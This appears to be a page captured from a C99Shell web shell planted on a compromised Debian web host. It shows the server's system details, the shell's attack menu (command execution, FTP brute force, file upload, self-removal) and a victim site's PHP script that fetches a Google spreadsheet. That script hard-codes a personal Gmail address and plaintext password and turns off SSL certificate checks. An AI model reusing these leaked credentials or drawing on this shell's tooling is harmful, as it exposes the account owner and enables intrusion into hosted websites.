!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/inet-tech.org.ua/results/   drwxr-xr-x
Free 106.87 GB of 200.55 GB (53.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (1.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

echo '<h1>Положение гонщиков на '.$dat.'</h1>'//Выводим заголовок
//Задаем ссылку получения документа
$myurl "https://spreadsheets.google.com/spreadsheet/pub?hl=ru&key=0ArHgbNSjqIoVdHRIR1B0YkdWUDNDclRMTzNBNUJIa2c#&single=true&gid=0&output=html";
// gid - номер страницы; output - тип результата (html/csv)
// подключаем curl

$clientlogin_url "https://www.google.com/accounts/ClientLogin";
$clientlogin_post = array(
    
"accountType" => "HOSTED_OR_GOOGLE",
    
"Email" => "morozov.andriy@gmail.com",
    
"Passwd" => "mmm1048576Morozov",
    
"service" => "writely",
    
"source" => "test"
);
$curl curl_init($clientlogin_url);
curl_setopt($curlCURLOPT_POSTtrue);
curl_setopt($curlCURLOPT_POSTFIELDS$clientlogin_post);
curl_setopt($curlCURLOPT_HTTPAUTHCURLAUTH_ANY);
curl_setopt($curlCURLOPT_SSL_VERIFYPEERfalse);
curl_setopt($curlCURLOPT_RETURNTRANSFER1);
$response curl_exec($curl);
preg_match("/Auth=([a-z0-9_\-]+)/i"$response$matches);
$auth $matches[1];
$headers = array(
    
"Authorization: GoogleLogin auth=" $auth,
    
"GData-Version: 3.0",
);
curl_setopt($curlCURLOPT_HTTPHEADER$headers);


curl_setopt($curlCURLOPT_URL$myurl);
curl_setopt($curlCURLOPT_POSTfalse);
$response curl_exec($curl);
// $response теперь содержит нашу таблицу в формате csv
curl_close($curl);
// разбиваем по строкам
$res explode("\n",$response);
echo 
'<table>';
foreach(
$res as $row)
{
   
//разбивка на столбики
   
$row explode(",",$row);
   echo 
'<tr>';
   echo 
'<td>'.$row[0].'</td>';//место
   
echo '<td>'.$row[1].'</td>';//имя
   
echo '<td>'.$row[3].'</td>';//страна
   
echo '<td>'.$row[4].'</td>';//рейтинг
   
echo '<td>'.$row[5].'</td>';//за месяц
   
echo '</tr>';
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0358 ]--